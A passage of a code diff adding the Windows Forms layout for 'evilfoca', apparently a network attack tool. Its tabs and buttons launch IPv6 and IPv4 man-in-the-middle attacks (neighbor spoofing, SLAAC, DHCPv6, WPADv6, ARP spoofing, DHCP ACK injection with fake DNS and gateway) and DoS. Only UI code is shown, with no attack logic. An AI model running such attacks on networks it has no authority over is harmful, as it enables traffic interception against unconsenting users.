evilfoca.PanelTarget(); + this.panelMitmIpv4 = new evilfoca.PanelTargets(); + this.wpadTargetPanel = new evilfoca.PanelTarget(); + this.panelTargetSLAACDoS = new evilfoca.PanelTarget(); + this.help = new evilfoca.ControlHelp.ControlHelp(); + this.listViewExAttacks = new evilfoca.Controls.ListViewEx.ListViewEx(); + this.attackType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.attack = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.Active = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.panelLogs = new evilfoca.PanelLogs(); + panelIzquierda = new System.Windows.Forms.Panel(); + panelIzquierda.SuspendLayout(); + this.cMenuNeighbors.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panelButtons.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerHelp)).BeginInit(); + this.splitContainerHelp.Panel1.SuspendLayout(); + this.splitContainerHelp.Panel2.SuspendLayout(); + this.splitContainerHelp.SuspendLayout(); + this.panelMainOptions.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabevilfoca.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage8.SuspendLayout(); + this.tabPage9.SuspendLayout(); + this.tabPage13.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.tabMitmIpv4.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabPage14.SuspendLayout(); + this.panel2.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabDoSIpv6.SuspendLayout(); + this.tabPage10.SuspendLayout(); + this.tabPage6.SuspendLayout(); + this.tabDoSIpv4.SuspendLayout(); + this.tabPage12.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbInvMacSpoofedIp)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbInvMacSpoofTarget)).BeginInit(); + this.tabPage3.SuspendLayout(); + this.panel1.SuspendLayout(); + this.menuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // panelIzquierda + // + panelIzquierda.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + panelIzquierda.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + panelIzquierda.Controls.Add(this.lbFilter); + panelIzquierda.Controls.Add(this.tbSearchFilter); + panelIzquierda.Controls.Add(this.treeView); + panelIzquierda.Location = new System.Drawing.Point(0, 0); + panelIzquierda.Name = "panelIzquierda"; + panelIzquierda.Size = new System.Drawing.Size(263, 409); + panelIzquierda.TabIndex = 6; + // + // lbFilter + // + this.lbFilter.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.lbFilter.AutoSize = true; + this.lbFilter.BackColor = System.Drawing.Color.White; + this.lbFilter.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lbFilter.Location = new System.Drawing.Point(222, 389); + this.lbFilter.Name = "lbFilter"; + this.lbFilter.Size = new System.Drawing.Size(35, 13); + this.lbFilter.TabIndex = 3; + this.lbFilter.Text = "[Filter]"; + this.lbFilter.Click += new System.EventHandler(this.lbFilter_Click); + // + // tbSearchFilter + // + this.tbSearchFilter.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tbSearchFilter.AutoCompleteCustomSource.AddRange(new string[] { + "hola", + "adios", + "eeeeeeeee"}); + this.tbSearchFilter.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; + this.tbSearchFilter.Location = new System.Drawing.Point(-1, 386); + this.tbSearchFilter.Name = "tbSearchFilter"; + this.tbSearchFilter.Size = new System.Drawing.Size(263, 20); + this.tbSearchFilter.TabIndex = 0; + this.tbSearchFilter.TextChanged += new System.EventHandler(this.tbSearchFilter_TextChanged); + this.tbSearchFilter.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.tbSearchFilter_KeyPress); + // + // cMenuNeighbors + // + this.cMenuNeighbors.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.addNeighborToolStripMenuItem, + this.copyToolStripMenuItem}); + this.cMenuNeighbors.Name = "cMenuNeighbors"; + this.cMenuNeighbors.Size = new System.Drawing.Size(148, 48); + this.cMenuNeighbors.Opening += new System.ComponentModel.CancelEventHandler(this.cMenuNeighbors_Opening); + // + // addNeighborToolStripMenuItem + // + this.addNeighborToolStripMenuItem.Image = global::evilfoca.Properties.Resources.AddNeighborSmall; + this.addNeighborToolStripMenuItem.Name = "addNeighborToolStripMenuItem"; + this.addNeighborToolStripMenuItem.Size = new System.Drawing.Size(147, 22); + this.addNeighborToolStripMenuItem.Text = "&Add neighbor"; + this.addNeighborToolStripMenuItem.Click += new System.EventHandler(this.addNeighborToolStripMenuItem_Click); + // + // copyToolStripMenuItem + // + this.copyToolStripMenuItem.Image = global::evilfoca.Properties.Resources.Copy; + this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; + this.copyToolStripMenuItem.Size = new System.Drawing.Size(147, 22); + this.copyToolStripMenuItem.Text = "&Copy"; + this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click); + // + // imageList1 + // + this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); + this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + this.imageList1.Images.SetKeyName(0, "ethernet-card-Vista.ico"); + this.imageList1.Images.SetKeyName(1, "signal-Vista.ico"); + this.imageList1.Images.SetKeyName(2, "globe-Vista.ico"); + this.imageList1.Images.SetKeyName(3, "home.ico"); + this.imageList1.Images.SetKeyName(4, "computer.gif"); + this.imageList1.Images.SetKeyName(5, "reverse.png"); + this.imageList1.Images.SetKeyName(6, "ARP.gif"); + this.imageList1.Images.SetKeyName(7, "Network-Connections-black-red.ico"); + this.imageList1.Images.SetKeyName(8, "Network-Connections-black-red-64.png"); + this.imageList1.Images.SetKeyName(9, "windows.gif"); + this.imageList1.Images.SetKeyName(10, "linux.png"); + this.imageList1.Images.SetKeyName(11, "monitor.png"); + this.imageList1.Images.SetKeyName(12, "arrow_switch.png"); + this.imageList1.Images.SetKeyName(13, "chart_organisation.png"); + this.imageList1.Images.SetKeyName(14, "bullet_green.png"); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 24); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.splitContainer1); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelLogs); + this.splitContainer2.Panel2MinSize = 150; + this.splitContainer2.Size = new System.Drawing.Size(954, 638); + this.splitContainer2.SplitterDistance = 472; + this.splitContainer2.TabIndex = 11; + // + // splitContainer1 + // + this.splitContainer1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer1.Location = new System.Drawing.Point(3, 3); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(panelIzquierda); + this.splitContainer1.Panel1.Controls.Add(this.panelButtons); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer1.Size = new System.Drawing.Size(954, 466); + this.splitContainer1.SplitterDistance = 263; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 9; + // + // panelButtons + // + this.panelButtons.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panelButtons.BackColor = System.Drawing.Color.White; + this.panelButtons.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelButtons.Controls.Add(this.btAddNeighbor); + this.panelButtons.Controls.Add(this.btSearchRouters); + this.panelButtons.Controls.Add(this.btNetworkDiscovery); + this.panelButtons.Location = new System.Drawing.Point(0, 410); + this.panelButtons.Name = "panelButtons"; + this.panelButtons.Size = new System.Drawing.Size(263, 54); + this.panelButtons.TabIndex = 0; + // + // btAddNeighbor + // + this.btAddNeighbor.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btAddNeighbor.FlatAppearance.BorderSize = 0; + this.btAddNeighbor.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btAddNeighbor.Image = global::evilfoca.Properties.Resources.AddNeighbor; + this.btAddNeighbor.Location = new System.Drawing.Point(211, 3); + this.btAddNeighbor.Name = "btAddNeighbor"; + this.btAddNeighbor.Size = new System.Drawing.Size(44, 44); + this.btAddNeighbor.TabIndex = 6; + this.toolTip.SetToolTip(this.btAddNeighbor, "Add neighbor"); + this.btAddNeighbor.UseVisualStyleBackColor = true; + this.btAddNeighbor.Click += new System.EventHandler(this.btAddNeighbor_Click); + // + // btSearchRouters + // + this.btSearchRouters.FlatAppearance.BorderSize = 0; + this.btSearchRouters.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btSearchRouters.Image = global::evilfoca.Properties.Resources.SearchRouters; + this.btSearchRouters.Location = new System.Drawing.Point(56, 3); + this.btSearchRouters.Name = "btSearchRouters"; + this.btSearchRouters.Size = new System.Drawing.Size(44, 44); + this.btSearchRouters.TabIndex = 5; + this.toolTip.SetToolTip(this.btSearchRouters, "Search for routers"); + this.btSearchRouters.UseVisualStyleBackColor = true; + this.btSearchRouters.Click += new System.EventHandler(this.btSearchRouters_Click); + // + // btNetworkDiscovery + // + this.btNetworkDiscovery.FlatAppearance.BorderSize = 0; + this.btNetworkDiscovery.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btNetworkDiscovery.Image = global::evilfoca.Properties.Resources.Search; + this.btNetworkDiscovery.Location = new System.Drawing.Point(3, 3); + this.btNetworkDiscovery.Name = "btNetworkDiscovery"; + this.btNetworkDiscovery.Size = new System.Drawing.Size(44, 44); + this.btNetworkDiscovery.TabIndex = 3; + this.toolTip.SetToolTip(this.btNetworkDiscovery, "Discover new neighbors"); + this.btNetworkDiscovery.UseVisualStyleBackColor = true; + this.btNetworkDiscovery.Click += new System.EventHandler(this.btNetworkDiscovery_Click); + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + this.splitContainer4.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.splitContainerHelp); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.listViewExAttacks); + this.splitContainer4.Size = new System.Drawing.Size(690, 466); + this.splitContainer4.SplitterDistance = 291; + this.splitContainer4.TabIndex = 0; + // + // splitContainerHelp + // + this.splitContainerHelp.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainerHelp.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainerHelp.IsSplitterFixed = true; + this.splitContainerHelp.Location = new System.Drawing.Point(0, 0); + this.splitContainerHelp.Name = "splitContainerHelp"; + // + // splitContainerHelp.Panel1 + // + this.splitContainerHelp.Panel1.Controls.Add(this.panelMainOptions); + // + // splitContainerHelp.Panel2 + // + this.splitContainerHelp.Panel2.Controls.Add(this.help); + this.splitContainerHelp.Panel2.Padding = new System.Windows.Forms.Padding(0, 20, 3, 0); + this.splitContainerHelp.Size = new System.Drawing.Size(690, 291); + this.splitContainerHelp.SplitterDistance = 501; + this.splitContainerHelp.TabIndex = 0; + // + // panelMainOptions + // + this.panelMainOptions.Controls.Add(this.tabPage2); + this.panelMainOptions.Controls.Add(this.tabPage5); + this.panelMainOptions.Controls.Add(this.tabPage4); + this.panelMainOptions.Controls.Add(this.tabPage6); + this.panelMainOptions.Controls.Add(this.tabPage3); + this.panelMainOptions.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelMainOptions.ImageList = this.imageList1; + this.panelMainOptions.Location = new System.Drawing.Point(0, 0); + this.panelMainOptions.Name = "panelMainOptions"; + this.panelMainOptions.SelectedIndex = 0; + this.panelMainOptions.Size = new System.Drawing.Size(501, 291); + this.panelMainOptions.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.panelMainOptions.TabIndex = 0; + this.panelMainOptions.Selected += new System.Windows.Forms.TabControlEventHandler(this.panelMainOptions_Selected); + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.tabevilfoca); + this.tabPage2.Location = new System.Drawing.Point(4, 23); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(493, 264); + this.tabPage2.TabIndex = 0; + this.tabPage2.Text = "MITM IPv6"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // tabevilfoca + // + this.tabevilfoca.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabevilfoca.Controls.Add(this.tabPage1); + this.tabevilfoca.Controls.Add(this.tabPage8); + this.tabevilfoca.Controls.Add(this.tabPage9); + this.tabevilfoca.Controls.Add(this.tabPage13); + this.tabevilfoca.Location = new System.Drawing.Point(3, 3); + this.tabevilfoca.Name = "tabevilfoca"; + this.tabevilfoca.SelectedIndex = 0; + this.tabevilfoca.Size = new System.Drawing.Size(487, 258); + this.tabevilfoca.TabIndex = 6; + this.tabevilfoca.SelectedIndexChanged += new System.EventHandler(this.tabMitm_SelectedIndexChanged); + this.tabevilfoca.Selected += new System.Windows.Forms.TabControlEventHandler(this.tabMitm_Selected); + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.panelNeighborAdvSpoof); + this.tabPage1.Controls.Add(this.btStartNeighborSpoof); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(479, 232); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Neighbor advertisement spoofing"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // btStartNeighborSpoof + // + this.btStartNeighborSpoof.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btStartNeighborSpoof.Image = global::evilfoca.Properties.Resources.Start; + this.btStartNeighborSpoof.ImageAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btStartNeighborSpoof.Location = new System.Drawing.Point(3, 200); + this.btStartNeighborSpoof.Name = "btStartNeighborSpoof"; + this.btStartNeighborSpoof.Size = new System.Drawing.Size(70, 25); + this.btStartNeighborSpoof.TabIndex = 3; + this.btStartNeighborSpoof.Text = "Start"; + this.btStartNeighborSpoof.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btStartNeighborSpoof.UseVisualStyleBackColor = true; + this.btStartNeighborSpoof.Click += new System.EventHandler(this.btStartNeighborSpoof_Click); + // + // tabPage8 + // + this.tabPage8.Controls.Add(this.label6); + this.tabPage8.Controls.Add(this.tbSlaacMitmPrefix); + this.tabPage8.Controls.Add(this.btMitmSLAAC); + this.tabPage8.Controls.Add(this.panelTargetSLAACMitm); + this.tabPage8.Location = new System.Drawing.Point(4, 22); + this.tabPage8.Name = "tabPage8"; + this.tabPage8.Size = new System.Drawing.Size(479, 232); + this.tabPage8.TabIndex = 1; + this.tabPage8.Text = "SLAAC"; + this.tabPage8.UseVisualStyleBackColor = true; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(20, 15); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(106, 13); + this.label6.TabIndex = 42; + this.label6.Text = "Targets Prefix (IPv6):"; + // + // tbSlaacMitmPrefix + // + this.tbSlaacMitmPrefix.Location = new System.Drawing.Point(155, 15); + this.tbSlaacMitmPrefix.Name = "tbSlaacMitmPrefix"; + this.tbSlaacMitmPrefix.Size = new System.Drawing.Size(159, 20); + this.tbSlaacMitmPrefix.TabIndex = 41; + // + // btMitmSLAAC + // + this.btMitmSLAAC.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btMitmSLAAC.Image = global::evilfoca.Properties.Resources.Start; + this.btMitmSLAAC.Location = new System.Drawing.Point(3, 200); + this.btMitmSLAAC.Name = "btMitmSLAAC"; + this.btMitmSLAAC.Size = new System.Drawing.Size(70, 25); + this.btMitmSLAAC.TabIndex = 35; + this.btMitmSLAAC.Text = "Start"; + this.btMitmSLAAC.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btMitmSLAAC.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btMitmSLAAC.UseVisualStyleBackColor = true; + this.btMitmSLAAC.Click += new System.EventHandler(this.btMitmSLAAC_Click); + // + // tabPage9 + // + this.tabPage9.Controls.Add(this.tbIPRange_IPv6DHCP); + this.tabPage9.Controls.Add(this.label9); + this.tabPage9.Controls.Add(this.tbDNS_IPv6DHCP); + this.tabPage9.Controls.Add(this.label7); + this.tabPage9.Controls.Add(this.btStart_IPv6DHCP); + this.tabPage9.Location = new System.Drawing.Point(4, 22); + this.tabPage9.Name = "tabPage9"; + this.tabPage9.Size = new System.Drawing.Size(479, 232); + this.tabPage9.TabIndex = 2; + this.tabPage9.Text = "DHCPv6"; + this.tabPage9.UseVisualStyleBackColor = true; + // + // tbIPRange_IPv6DHCP + // + this.tbIPRange_IPv6DHCP.Location = new System.Drawing.Point(127, 47); + this.tbIPRange_IPv6DHCP.Name = "tbIPRange_IPv6DHCP"; + this.tbIPRange_IPv6DHCP.Size = new System.Drawing.Size(232, 20); + this.tbIPRange_IPv6DHCP.TabIndex = 36; + this.tbIPRange_IPv6DHCP.Text = "fc00:5::0"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(34, 50); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(82, 13); + this.label9.TabIndex = 35; + this.label9.Text = "Fake IP Range:"; + // + // tbDNS_IPv6DHCP + // + this.tbDNS_IPv6DHCP.Location = new System.Drawing.Point(127, 21); + this.tbDNS_IPv6DHCP.Name = "tbDNS_IPv6DHCP"; + this.tbDNS_IPv6DHCP.Size = new System.Drawing.Size(232, 20); + this.tbDNS_IPv6DHCP.TabIndex = 33; + this.tbDNS_IPv6DHCP.Text = "ca:ca:ca:ca:ca:ca:ca:10"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(34, 24); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(60, 13); + this.label7.TabIndex = 30; + this.label7.Text = "Fake DNS:"; + // + // btStart_IPv6DHCP + // + this.btStart_IPv6DHCP.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btStart_IPv6DHCP.Image = global::evilfoca.Properties.Resources.Start; + this.btStart_IPv6DHCP.Location = new System.Drawing.Point(3, 200); + this.btStart_IPv6DHCP.Name = "btStart_IPv6DHCP"; + this.btStart_IPv6DHCP.Size = new System.Drawing.Size(70, 25); + this.btStart_IPv6DHCP.TabIndex = 34; + this.btStart_IPv6DHCP.Text = "Start"; + this.btStart_IPv6DHCP.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btStart_IPv6DHCP.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btStart_IPv6DHCP.UseVisualStyleBackColor = true; + this.btStart_IPv6DHCP.Click += new System.EventHandler(this.btStart_IPv6DHCP_Click); + // + // tabPage13 + // + this.tabPage13.Controls.Add(this.btnWpadv6Attack); + this.tabPage13.Controls.Add(this.wpadv6TargetPanel); + this.tabPage13.Location = new System.Drawing.Point(4, 22); + this.tabPage13.Name = "tabPage13"; + this.tabPage13.Size = new System.Drawing.Size(479, 232); + this.tabPage13.TabIndex = 3; + this.tabPage13.Text = "WPADv6"; + this.tabPage13.UseVisualStyleBackColor = true; + // + // btnWpadv6Attack + // + this.btnWpadv6Attack.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnWpadv6Attack.Image = global::evilfoca.Properties.Resources.Start; + this.btnWpadv6Attack.Location = new System.Drawing.Point(3, 200); + this.btnWpadv6Attack.Name = "btnWpadv6Attack"; + this.btnWpadv6Attack.Size = new System.Drawing.Size(70, 25); + this.btnWpadv6Attack.TabIndex = 36; + this.btnWpadv6Attack.Text = "Start"; + this.btnWpadv6Attack.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnWpadv6Attack.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btnWpadv6Attack.UseVisualStyleBackColor = true; + this.btnWpadv6Attack.Click += new System.EventHandler(this.btnWpadv6Attack_Click); + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.tabMitmIpv4); + this.tabPage5.Location = new System.Drawing.Point(4, 23); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Padding = new System.Windows.Forms.Padding(3); + this.tabPage5.Size = new System.Drawing.Size(493, 264); + this.tabPage5.TabIndex = 2; + this.tabPage5.Text = "MITM IPv4"; + this.tabPage5.UseVisualStyleBackColor = true; + // + // tabMitmIpv4 + // + this.tabMitmIpv4.Controls.Add(this.tabPage7); + this.tabMitmIpv4.Controls.Add(this.tabPage11); + this.tabMitmIpv4.Controls.Add(this.tabPage14); + this.tabMitmIpv4.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabMitmIpv4.Location = new System.Drawing.Point(3, 3); + this.tabMitmIpv4.Name = "tabMitmIpv4"; + this.tabMitmIpv4.SelectedIndex = 0; + this.tabMitmIpv4.Size = new System.Drawing.Size(487, 258); + this.tabMitmIpv4.TabIndex = 0; + this.tabMitmIpv4.SelectedIndexChanged += new System.EventHandler(this.tabMitmIpv4_SelectedIndexChanged); + this.tabMitmIpv4.Selected += new System.Windows.Forms.TabControlEventHandler(this.tabMitmIpv4_Selected); + // + // tabPage7 + // + this.tabPage7.Controls.Add(this.panelMitmIpv4); + this.tabPage7.Controls.Add(this.btStartARPSpoofing); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Padding = new System.Windows.Forms.Padding(3); + this.tabPage7.Size = new System.Drawing.Size(479, 232); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = "ARP spoofing"; + this.tabPage7.UseVisualStyleBackColor = true; + // + // btStartARPSpoofing + // + this.btStartARPSpoofing.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btStartARPSpoofing.Image = global::evilfoca.Properties.Resources.Start; + this.btStartARPSpoofing.ImageAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btStartARPSpoofing.Location = new System.Drawing.Point(3, 200); + this.btStartARPSpoofing.Name = "btStartARPSpoofing"; + this.btStartARPSpoofing.Size = new System.Drawing.Size(70, 25); + this.btStartARPSpoofing.TabIndex = 4; + this.btStartARPSpoofing.Text = "Start"; + this.btStartARPSpoofing.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btStartARPSpoofing.UseVisualStyleBackColor = true; + this.btStartARPSpoofing.Click += new System.EventHandler(this.btStartARPSpoofing_Click); + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.buttonEnableIPRouting); + this.tabPage11.Controls.Add(this.labelIPRouting); + this.tabPage11.Controls.Add(this.textBoxDHCPAckMAC); + this.tabPage11.Controls.Add(this.textBoxDNS); + this.tabPage11.Controls.Add(this.textBoxGateway); + this.tabPage11.Controls.Add(this.labelFakeGateway); + this.tabPage11.Controls.Add(this.labelMAC); + this.tabPage11.Controls.Add(this.radioButtonComputerWithMAC); + this.tabPage11.Controls.Add(this.radioButtonAllcomputers); + this.tabPage11.Controls.Add(this.checkBoxUseAsGateway); + this.tabPage11.Controls.Add(this.label4); + this.tabPage11.Controls.Add(this.buttonDHCPACKInjection); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Padding = new System.Windows.Forms.Padding(3); + this.tabPage11.Size = new System.Drawing.Size(479, 232); + this.tabPage11.TabIndex = 1; + this.tabPage11.Text = "DHCP ACK Injection"; + this.tabPage11.UseVisualStyleBackColor = true; + // + // buttonEnableIPRouting + // + this.buttonEnableIPRouting.Location = new System.Drawing.Point(215, 124); + this.buttonEnableIPRouting.Name = "buttonEnableIPRouting"; + this.buttonEnableIPRouting.Size = new System.Drawing.Size(135, 23); + this.buttonEnableIPRouting.TabIndex = 33; + this.buttonEnableIPRouting.Text = "Enable IP Routing"; + this.buttonEnableIPRouting.UseVisualStyleBackColor = true; + this.buttonEnableIPRouting.Click += new System.EventHandler(this.buttonEnableIPRouting_Click); + // + // labelIPRouting + // + this.labelIPRouting.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.labelIPRouting.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelIPRouting.ForeColor = System.Drawing.Color.Red; + this.labelIPRouting.Location = new System.Drawing.Point(60, 95); + this.labelIPRouting.Name = "labelIPRouting"; + this.labelIPRouting.Size = new System.Drawing.Size(390, 57); + this.labelIPRouting.TabIndex = 32; + this.labelIPRouting.Text = "To use this computer as gateway you need to activate Windows IP Routing, do you w" + + "ant to activate it?"; + // + // textBoxDHCPAckMAC + // + this.textBoxDHCPAckMAC.Enabled = false; + this.textBoxDHCPAckMAC.Location = new System.Drawing.Point(320, 68); + this.textBoxDHCPAckMAC.Name = "textBoxDHCPAckMAC"; + this.textBoxDHCPAckMAC.Size = new System.Drawing.Size(130, 20); + this.textBoxDHCPAckMAC.TabIndex = 30; + // + // textBoxDNS + // + this.textBoxDNS.Location = new System.Drawing.Point(150, 23); + this.textBoxDNS.Name = "textBoxDNS"; + this.textBoxDNS.Size = new System.Drawing.Size(111, 20); + this.textBoxDNS.TabIndex = 29; + this.textBoxDNS.Text = "8.8.8.8"; + // + // textBoxGateway + // + this.textBoxGateway.Enabled = false; + this.textBoxGateway.Location = new System.Drawing.Point(150, 49); + this.textBoxGateway.Name = "textBoxGateway"; + this.textBoxGateway.Size = new System.Drawing.Size(111, 20); + this.textBoxGateway.TabIndex = 28; + this.textBoxGateway.Text = "192.168.0.253"; + // + // labelFakeGateway + // + this.labelFakeGateway.AutoSize = true; + this.labelFakeGateway.Enabled = false; + this.labelFakeGateway.Location = new System.Drawing.Point(57, 52); + this.labelFakeGateway.Name = "labelFakeGateway"; + this.labelFakeGateway.Size = new System.Drawing.Size(77, 13); + this.labelFakeGateway.TabIndex = 27; + this.labelFakeGateway.Text = "Fake gateway:"; + // + // labelMAC + // + this.labelMAC.AutoSize = true; + this.labelMAC.Enabled = false; + this.labelMAC.Location = new System.Drawing.Point(281, 71); + this.labelMAC.Name = "labelMAC"; + this.labelMAC.Size = new System.Drawing.Size(33, 13); + this.labelMAC.TabIndex = 25; + this.labelMAC.Text = "MAC:"; + // + // radioButtonComputerWithMAC + // + this.radioButtonComputerWithMAC.AutoSize = true; + this.radioButtonComputerWithMAC.Location = new System.Drawing.Point(280, 45); + this.radioButtonComputerWithMAC.Name = "radioButtonComputerWithMAC"; + this.radioButtonComputerWithMAC.Size = new System.Drawing.Size(170, 17); + this.radioButtonComputerWithMAC.TabIndex = 22; + this.radioButtonComputerWithMAC.Text = "Attack computer with this MAC"; + this.radioButtonComputerWithMAC.UseVisualStyleBackColor = true; + this.radioButtonComputerWithMAC.CheckedChanged += new System.EventHandler(this.radioButtonComputerWithMAC_CheckedChanged); + // + // radioButtonAllcomputers + // + this.radioButtonAllcomputers.AutoSize = true; + this.radioButtonAllcomputers.Checked = true; + this.radioButtonAllcomputers.Location = new System.Drawing.Point(280, 22); + this.radioButtonAllcomputers.Name = "radioButtonAllcomputers"; + 